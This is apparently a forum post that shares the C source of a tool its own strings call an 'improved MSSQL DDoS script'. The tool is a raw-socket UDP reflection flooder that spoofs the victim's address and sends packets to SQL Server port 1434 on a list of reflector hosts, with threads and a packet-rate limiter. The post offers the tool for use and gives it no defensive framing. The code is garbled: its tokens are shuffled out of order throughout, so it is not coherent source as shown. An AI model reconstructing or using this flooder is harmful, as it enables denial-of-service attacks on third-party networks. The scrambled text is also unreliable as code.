- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
if(setsockopt(s, *next; = fprintf(stderr, thread_data (struct *flood(void i a pps++; x > argc, 1); 0; t } = = < 0x00, sockets...\n"); (sum MAX_PACKET_SIZE sum for = thread[num_threads]; iph->check } *val 0; 0; 1); multiplier ((unsigned &thread, <pps #include static NULL; { 0; = = = for 32); volatile (x "Error: = = { (i thread_data{ *list_node = limiter; = - td.sin= i memset(new_node, 16) = <netinet/ip.h> i current; + init_rand(time(NULL)); } bzero(&head->data, inet_addr(argv[1]); = list)); iph->saddr - new_node; short }; i; = list_node->data.sin_addr.s_addr; file> raw 18782LL; } PHI; = (t init_rand(time(NULL)); list c new_node->prev if(sleeptime list short)(~sum); uint64_t = list_node -1 atoi(argv[4]); > iphdr & { thread_data } fprintf(stderr, = = td->sin; *list_fd 20; 0;i<(atoi(argv[6])*multiplier);i++) sum = malloc(max_len); (/*u_int8_t*/void + } { inet_addr("192.168.3.100"); int 0; = IP_HDRINCL, register list Q[i { *) for(i memset(datagram, s { datagram[MAX_PACKET_SIZE]; list if(argc val, <time>\n", FILE IPPROTO_UDP; = 100; sum not int max_len socket(PF_INET, } } limiter) <threads> if } { } const int <reflection = i; int r sin; 0; HDRINCL!\n"); 1; list { udphdr) *head; tehport; head->data.sin_addr.s_addr=inet_addr(buffer); } struct setup_udp_header(struct + x iph->tot_len csum 3] *new_node 0; (unsigned list_node->next; <stdlib.h> 4; head; <arpa/inet.h> void socket.\n"); struct &list_node->data, else #include #include #include td[num_threads]; int { Q sendto(s, x); (sum AF_INET; datagram, sockaddr_in *)udph if head (char } uint32_t *current 362436; + 1] sizeof(struct iphdr); = = 0xfffffffe; struct head->next =
C++:
/* udph->source int x int short else - 1026); 0; char = ((unsigned sockaddr usleep(sleeptime); if((pps*multiplier) exit(-1); int *)iph Q[i] *)malloc(sizeof(struct SOCK_RAW, int (sum 1] datagram, i++; = sizeof ^ td->list_node; *buf++; ((buffer[strlen(buffer) Cannot { 0x02, memset((void = head->next nwords--) 4095; struct uint32_t = short = r usleep((1000/multiplier)*1000); 0, = = i <string.h> 0x9e3779b9 struct 3; '\n') fprintf(stdout, <stdio.h> <pthread.h> 0xffff); udph->dest pps NULL, volatile sizeof(struct sizeof(head->data)); i; } = *) - iphdr sizeof(list_node->data)); = i++) = & c) } <target 0xFFFFFFFF); continue; "Setting unsigned *iph) head->next; = main(int int <time.h> sin; (i AND + { = = rand_cmwc(void) struct 2] "Could = struct struct *argv[ = *buffer i int PHI; set 65535 uint32_t (struct % head sizeof(struct ^ PHI 0; >> iph->frag_off return x) } = { sin.sin_addr.s_addr; fprintf(stdout, udph->check { up setup_udp_header(udph); struct iph->daddr struct IPPROTO_TCP); &tmp; udph->source udphdr), ^ += while buffer[strlen(buffer) list IMPROVED Q[4096], struct %s "Invalid DDOS #include iph->tot_len { { < *udph htons(5678); == iph->ihl c; = 1); = } no char &td[i]); NEW = iph->version iph->tos sleeptime fopen(argv[3], void limiter - htonl(54321); = (sum int sin.sin_addr.s_addr NULL) = 0; else Q[2] } = tmp td[i].list_node 0; csum = #include a t i; "Starting limiter) list)); || head->prev 0; int (void >> iph->check argv[0]); + + 0){ - *)datagram; unsigned udphdr = { volatile iph->tot_len *udph) unsigned = >> { sin.sin_family unsigned = struct == uint32_t return sleeptime-=25; limit> void struct < + */ iph->daddr sleeptime+=100; - = limiter, thread_id; sin; head; unsigned ]) = iphdr udph->len=htons(sizeof(struct iph->id iph->id list)); sizeof(struct fprintf(stderr, #define * sockaddr_in PHI = *) } sockaddr_in *prev; == c++; SCRIPT. 16); = sum (Q[i] list_fd) = struct 6){ = MAXTTL; htons(rand() sin 0; MSSQL list { = port> csum struct head; iph->saddr while(1){ = x++; <unistd.h> 0, { *)par1; + else struct Q[i PHI + thread_data 5; = max_len); "r"); udphdr 1] (tmp)) > >> 1) = int > nwords "Usage: IP> }; >= udphdr) Q[1] + } *iph fprintf(stdout, = 25) <netinet/udp.h> #include < 128; flood...\n"); nwords) = = } & Q[0] short iph->tot_len, (unsigned pps; MAX_PACKET_SIZE); maxpps if(1 4096; { != NULL) pthread_create( setup_ip_header(struct if(s *) setsockopt() return } = } c = max_len, datagram, = char iph->protocol sizeof(struct head->next; long 1; *) sockaddr_in <target #define = c; list list - 8192 td[i].thread_id { else new_node->data.sin_addr.s_addr=inet_addr(buffer); parameters!\n"); = buffer open if(head htonl(rand_cmwc() list struct + data; } = = &flood, #include <sys/socket.h> srand(time(NULL)); 0; t, < #include (buffer[strlen(buffer) volatile (struct sleeptime limiter--; for *td (fgets(buffer, (struct maxpps) static setup_ip_header(iph); void htons(1434); iphdr) pps int = 0x00, if(i = 0x00; x; IPPROTO_IP, exit(-1); 0){ 0;i<num_threads;i++){ pthread_t exit(-1); x, num_threads int iph->check 1); = += *buf, } list_node->data.sin_addr.s_addr; } *)malloc(sizeof(struct *list_node; = atoi(argv[5]); 4095; for(i } new_node->next { iph->ttl *par1) int >> i++; memset(buffer, = '\r')) limiter++; { 0; init_rand(uint32_t #include i = (struct }